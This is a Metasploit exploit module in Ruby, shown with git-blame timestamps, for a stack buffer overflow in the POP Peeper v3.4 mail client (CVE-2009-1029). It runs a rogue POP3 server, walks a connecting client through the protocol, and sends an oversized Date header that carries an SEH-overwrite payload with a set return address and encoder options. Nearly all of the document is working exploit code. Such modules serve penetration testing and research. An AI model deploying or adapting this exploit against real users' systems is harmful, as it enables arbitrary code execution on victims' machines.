2009-10-15 18:04:58 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-10-15 18:04:58 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2010-11-11 22:43:22 +00:00
|
|
|
# http://metasploit.com/framework/
|
2009-10-15 18:04:58 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2009-10-15 18:04:58 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'POP Peeper v3.4 DATE Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in POP Peeper v3.4.
|
2010-04-30 08:40:19 +00:00
|
|
|
When a specially crafted DATE string is sent to a client,
|
|
|
|
an attacker may be able to execute arbitrary code. This
|
|
|
|
module is based off of krakowlabs code.
|
2009-10-15 18:04:58 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2009-11-17 00:05:19 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2009-10-15 18:04:58 +00:00
|
|
|
[
|
|
|
|
[ 'CVE', '2009-1029' ],
|
2010-05-13 16:53:50 +00:00
|
|
|
[ 'OSVDB', '53560'],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'BID', '34093' ],
|
2009-10-15 18:04:58 +00:00
|
|
|
[ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_date-bof.txt' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 750,
|
|
|
|
'BadChars' => "\x00\x0a\x20\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
|
|
'DisableNops' => 'True',
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'POP Peeper v3.4', { 'Ret' => 0x10014e39 } ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Feb 27 2009',
|
2009-10-15 18:04:58 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2009-10-15 18:04:58 +00:00
|
|
|
OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(client)
|
|
|
|
ok = "+OK\r\n"
|
|
|
|
client.put(ok)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_data(client)
|
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
|
|
|
|
|
|
|
ok = "+OK\r\n"
|
|
|
|
client.put(ok)
|
|
|
|
|
|
|
|
client.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
ok = "+OK\r\n"
|
|
|
|
client.put(ok)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
client.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
ok = "+OK 1 100\r\n"
|
|
|
|
client.put(ok)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
client.get_once
|
|
|
|
|
|
|
|
ok = "+OK\r\n1 " + rand_text_english(4) + "\r\n.\r\n"
|
|
|
|
client.put(ok)
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
client.get_once
|
2009-10-15 18:04:58 +00:00
|
|
|
|
|
|
|
ok = "+OK 1 100\r\n.\r\n"
|
|
|
|
client.put(ok)
|
|
|
|
|
|
|
|
client.get_once
|
|
|
|
|
|
|
|
ok = "+OK 100 octects\r\n"
|
|
|
|
client.put(ok)
|
|
|
|
|
|
|
|
sploit = "Date: " + rand_text_alpha_upper(132) + generate_seh_payload(target.ret) + "\r\n.\r\n"
|
|
|
|
client.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
handler
|
|
|
|
service.close_client(client)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|